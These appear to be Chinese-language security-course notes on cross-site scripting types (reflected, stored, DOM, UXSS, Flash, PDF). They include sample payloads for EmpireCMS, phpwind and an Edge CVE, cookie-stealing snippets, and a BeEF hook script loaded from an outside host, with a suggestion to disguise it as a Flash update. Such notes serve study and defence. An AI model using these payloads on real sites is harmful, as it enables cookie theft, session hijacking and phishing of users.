总览

知识点:

1、XSS跨站-原理&攻击&分类等
2、XSS跨站-反射型&存储型&DOM型等
3、XSS跨站-攻击手法&劫持&盗取凭据等
4、XSS跨站-攻击项目&XSS平台&Beef-XSS

原理

跨站点脚本攻击(前端漏洞,特征:输出特征)

指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

  • 数据交互的地方
    • get、post、headers
    • 反馈与浏览
    • 富文本编辑器
    • 各类标签插入和自定义
  • 数据输出的地方
    • 用户资料
    • 关键词、标签、说明
    • 文件上传

XSS分类

常见的三个XSS

全依靠JS代码,权限较死。
JS代码很隐蔽,能做的行为较少。
获取COOKIE后,人家可以尝试上线你的设备,夺root。

反射型(非持久型)

▍=> 漏洞属于一次性的,每次都需要自己构造好再去(自己/别人)进行请求
正常请求 locate:8088/xss.php?id=123
异常请求 locate:8088/xss.php?id=<script>alert('1')</script>
向人攻击:攻击站长,攻击管理员,需要别人去配和你,访问你这个有问题的地址。
厂商会选择不接受这个漏洞,认为这个漏洞鸡肋(大部分不接受)

1.对方是谁
2.对方能访问这个网址
3.发送反射型的网址给对方
4.点击完成能不能触发(浏览器的自带过滤)(自身防御措施)

存储型(持久型)

▍=> 攻击代码植入到数据库,只要触发地址就一定受到攻击,不需要重复构造
◆ 留言板 - 留言永久被看到,植入攻击代码时永久被触发,危害大。
◆ XSS平台:https://xss.pt
获取的cookie信息不一定是管理员的cookie,浏览器有cookie保护措施,导致某些cookie获取不全。

◆ BEEf-XSS获取cookie:
web渗透利器,这是搭建网站:
https://www.cnblogs.com/ardyh/p/14781928.html
https://github.com/beefproject/beef
源于kali钓鱼的,是一个XSS利用框架。
写入beef-xss的办法:<script src='http://xxx:3000/hack.js'></script>
伪装软件更新:adode flash
功能比较复杂

DOM型

▍=> 接受数据的方式是JS,输入输出都是js代码
代码如下:
前端DOM树的叫法。-> 挖掘dom看的是html代码
<div class="page-content">
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>
</div>

EmpireCMS存在的dom漏洞:
http://xxx/e/ViewImg/index.html?url=javascript:alert(1)



其他XSS

mXSS(突变型XSS) => 无法示范

#MXSS:https://www.fooying.com/the-art-of-xss-1-introduction/

UXSS(通用型xss)

#UXSS全称Universal Cross-Site Scripting => 浏览器是否有问题/攻击浏览器
UXSS是利用浏览器或者浏览器扩展漏洞来制造产生XSS并执行代码的一种攻击类型。
MICROSOFT EDGE uXSS CVE-2021-34506
Edge浏览器翻译功能导致JS语句被调用执行:
"><img src=x onerror=alert(1)>
"><img/src/onerror=alert(document.cookie)>
漏洞演示视频:https://www.bilibili.com/video/BV1fX4y1c7rX

Flash XSS

# Flashxss-swf引用js的xss
SWF:播放小视频的播放器,播放哪个文件就传什么参数,接受JS代码。
无论是白盒还是黑盒审计,都是看是否有.swf文件。

# 白盒
.swf反编译:使用JPEXS Free Flash Decompiler打开.swf文件即自动反编译

phpwind SWF反编译 Flashxss
SWF调用JS的函数: ExternalInterface.call 执行JS代码
ExternalInterface.call(this.jQuery,"jPlayerFlashEvent",JplayerEvent.JPLAYER_READY,this.extractStatusData(this.commonStatus));
this.jQuery:代表着变量
this.jQuery = loaderInfo.parameters.jQuery + "(\'#" + loaderInfo.parameters.id + "\').jPlayer";

Payload:phpwind/www/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//

# 黑盒
把目标网站的.swf下载下来
一堆swf的地方:https://mickeymouse24.com/games/

PDFXSS

#PDFXSS-上传后直链触发(大部分浏览器是可以直接打开PDF文件的)
可以在文件上传当中利用
1、创建PDF,在文件的属性处加入动作JS
迅捷PDF编辑器能做到这点。
app.alert(1);
2、通过文件上传获取直链
3、直链地址访问后被触发(浏览器打开)(注意,是直连地址,且访问时不是下载操作。)

被弃用的XSS,找不到案例的那种

UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS

危害

核心:执行JavaScript代码,输出到前端执行。

网络钓鱼,包括获取各类用户账号;
窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;
强制弹出广告页面、刷流量等;
网页挂马;
进行恶意操作,如任意篡改页面信息、删除文章等;
进行大量的客户端攻击,如ddos等;
获取客户端信息,如用户的浏览历史、真实ip、开放端口等;
控制受害者机器向其他网站发起攻击;
结合其他漏洞,如csrf,实施进一步危害;
提升用户权限,包括进一步渗透网站;
传播跨站脚本蠕虫等